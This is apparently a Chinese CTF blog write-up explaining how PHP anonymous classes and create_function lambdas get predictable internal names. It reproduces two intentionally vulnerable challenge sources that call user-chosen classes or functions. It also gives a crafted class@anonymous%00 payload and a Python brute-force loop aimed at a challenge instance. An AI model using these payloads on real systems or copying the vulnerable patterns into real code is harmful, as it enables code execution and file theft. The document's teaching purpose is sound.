Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

匿名函数

特点:无函数名,使用一次就被丢弃,一般可以动态执行php代码

创建一个匿名(lambda样式)函数

第一次创建了一个叫 lambda_1 的函数,此后调用依次递增lambda_2…

注意 实际为 %00lambda_1只不过%00不可见而已

这里先贴一篇文章

https://blog.csdn.net/qq_39947980/article/details/136890009

以及对匿名类的介绍

https://www.php.net/manual/en/language.oop5.anonymous.php

这里就利用在打的一个比赛里的源码进行理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
} function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

前面的步骤这里就先不解释了,这里直接看匿名类的利用

216

可以看到他的报错,说明在/var/www/html/flag.php里找不到可以利用的类,这里就可以使用使用匿名类来进行动态执行,

类方法构造可以看到再第七行,根据报错可以看到这里需要新建类所有使用第一行

直接进行构造

?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

这题的前半部分这里就直接贴一下文章和工具链接

https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle

https://github.com/synacktiv/php_filter_chains_oracle_exploit

直接利用工具就可以爆破出来

这里再练一道匿名的题目

[SUCTF 2018]annonymous

这道题给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

可以看到$MY创建了一个方法,但是这个方法并没有被定义方法名,这里我们做一个简单的本地测试

217

可以看到生成了一个%00lambda_1,这里就可以发现当create_function方法未定义方法名时,会生成一个%00lambda_1,再进行测试,会发现1其实是随机生成的,

然后我们看一下接下来的语句,可以发现只要存在func_name参数,func_name参数内的值就会被当作方法执行,这样就很简单了,我们只需要去匹配到随机生成的数字时,就可以获得flag,这里即可以循环去主动匹配,也可以直接使用一个数字进行持续匹配,这里我就利用脚本直接等数字随机生成到固定值上

1
2
3
4
5
6
7
8
9
import requests
while True:
url="http://06dd2f61-4c3e-4c47-a39e-b988ae8d2f2a.node5.buuoj.cn:81/?func_name=\x00lambda_1"
res=requests.get(url)
if "flag" in res.text:
print(res.text)
break
else:
print("test...")

评论